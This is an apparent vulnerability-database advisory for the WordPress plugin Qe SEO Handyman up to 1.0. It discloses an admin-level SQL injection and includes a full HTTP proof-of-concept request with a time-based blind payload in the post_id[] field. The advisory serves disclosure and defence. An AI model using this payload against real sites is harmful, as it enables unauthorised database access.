WordPress Plugin Vulnerabilities
Qe SEO Handyman <= 1.0 - Admin+ SQLi
Description
The plugin does not properly sanitize and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by high privilege users such as admin
Proof of Concept
POST /wp-admin/admin-post.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost/wp-admin/admin.php?page=qe-seo-handyman&tab=import Content-Type: multipart/form-data; boundary=---------------------------8468852133354988763032646215 Content-Length: 1377 Origin: http://localhost Connection: close Cookie: [admin+] Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 -----------------------------8468852133354988763032646215 Content-Disposition: form-data; name="action" import_meta -----------------------------8468852133354988763032646215 Content-Disposition: form-data; name="nonce" 62bfc7851f -----------------------------8468852133354988763032646215 Content-Disposition: form-data; name="wpseo_title[]" test -----------------------------8468852133354988763032646215 Content-Disposition: form-data; name="wpseo_desc[]" test -----------------------------8468852133354988763032646215 Content-Disposition: form-data; name="term_id[]" 5 -----------------------------8468852133354988763032646215 Content-Disposition: form-data; name="permalink[]" http://localhost/?taxonomy=bp-email-type&term=activity-at-message -----------------------------8468852133354988763032646215 Content-Disposition: form-data; name="taxonomy[]" bp-email-type -----------------------------8468852133354988763032646215 Content-Disposition: form-data; name="wpseo_focuskw[]" activity-at-message -----------------------------8468852133354988763032646215 Content-Disposition: form-data; name="post_id[]" 5 AND (SELECT 3477 FROM (SELECT(SLEEP(5)))DhVP) -----------------------------8468852133354988763032646215 Content-Disposition: form-data; name="submit" Submit -----------------------------8468852133354988763032646215--
Affects Plugins
References
Classification
Type
SQLI
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Daniel Krohmer, Kunal Sharma
Submitter
Daniel Krohmer
Submitter website
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2022-12-08 (about 1 years ago)
Added
2022-12-08 (about 1 years ago)
Last Updated
2022-12-08 (about 1 years ago)